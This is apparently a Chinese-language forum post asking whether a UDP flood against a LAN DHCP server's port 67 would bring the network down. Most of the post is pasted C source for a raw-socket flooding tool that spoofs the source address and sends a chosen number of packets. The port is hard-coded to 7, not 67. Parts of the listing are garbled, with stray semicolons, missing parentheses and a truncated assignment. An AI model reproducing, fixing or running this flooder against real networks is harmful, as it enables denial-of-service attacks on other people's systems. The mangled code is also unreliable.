- 论坛徽章:
- 0
|
假如在一个局域网内,有一台DHCP server. 有人用udp flood程序攻击这台server的67udp 端口,会有多大的后果?网络会瘫痪吗?\r\n以下是那个udp flood的源程序.\r\n#include<sys/types.h>;\r\n#include<sys/socket.h>;\r\n#include<netinet/in_systm.h>;\r\n#include<netinet/in.h>;\r\n#include<netinet/ip.h>;\r\n#include<netinet/udp.h>;\r\n#include<errno.h>;\r\n#include<string.h>;\r\n#include<netdb.h>;\r\n#include<arpa/inet.h>;\r\n#include<stdio.h>;\r\n\r\nstruct sockaddr sa;\r\n\r\nmain(int argc,char **argv)\r\n{\r\nint fd;\r\nint x=1;\r\nstruct sockaddr_in *p;\r\nstruct hostent *he;\r\nint numpackets;\r\nu_char gram[38]=\r\n {\r\n 0x45, 0x00, 0x00, 0x26,\r\n 0x12, 0x34, 0x00, 0x00,\r\n 0xFF, 0x11, 0, 0,\r\n 0, 0, 0, 0,\r\n 0, 0, 0, 0,\r\n\r\n 0, 0, 0, 0,\r\n 0x00, 0x12, 0x00, 0x00,\r\n\r\n \'1\',\'2\',\'3\',\'4\',\'5\',\'6\',\'7\',\'8\',\'9\',\'0\'\r\n };\r\n\r\nif(argc!=4)\r\n {\r\n fprintf(stderr,\"usage: %s sourcename destinationname numpackets\\n\",*argv);\r\n exit(1);\r\n };\r\n\r\nnumpackets = atoi(argv[3]);\r\nfprintf(stderr,\"Will flood %d times\",numpackets);\r\n\r\nif((he=gethostbyname(argv[1]))==NULL)\r\n {\r\n fprintf(stderr,\"can\'t resolve source hostname\\n\" ;\r\n exit(1);\r\n };\r\nbcopy(*(he->;h_addr_list),(gram+12),4);\r\n\r\nif((he=gethostbyname(argv[2]))==NULL)\r\n {\r\n fprintf(stderr,\"can\'t resolve destination hostname\\n\" ;\r\n exit(1);\r\n };\r\nbcopy(*(he->;h_addr_list),(gram+16),4);\r\n\r\n*(u_short*)(gram+20)=htons((u_short)7);\r\n*(u_short*)(gram+22)=htons((u_short)7);\r\n\r\np=(struct sockaddr_in*)&\r\np->;sin_family=AF_INET;\r\nbcopy(*(he->;h_addr_list),&(p->;sin_addr),sizeof(struct in_addr));\r\n\r\nif((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))== -1)\r\n {\r\n perror(\"socket\" ;\r\n exit(1);\r\n };\r\n\r\n#ifdef IP_HDRINCL\r\nfprintf(stderr,\"\\nWe have IP_HDRINCL \\n\\n\" ;\r\nif (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x))<0)\r\n {\r\n perror(\"setsockopt IP_HDRINCL\" ;\r\n exit(1);\r\n };\r\n#else\r\nfprintf(stderr,\"\\nWe don\'t have IP_HDRINCL \\n\\n\" ;\r\n#endif\r\n\r\nprintf(\"\\nNumber of Packets sent:\\n\\n\" ;\r\nfor(x=0;x<numpackets;x++)\r\n{\r\nif((sendto(fd,&gram,sizeof(gram),0,(struct sockaddr*)p,sizeof(struct sockaddr)))== -1)\r\n {\r\n perror(\"sendto\" ;\r\n exit(1);\r\n };\r\nprintf(\"%d \",x);\r\n}\r\n\r\n} |
|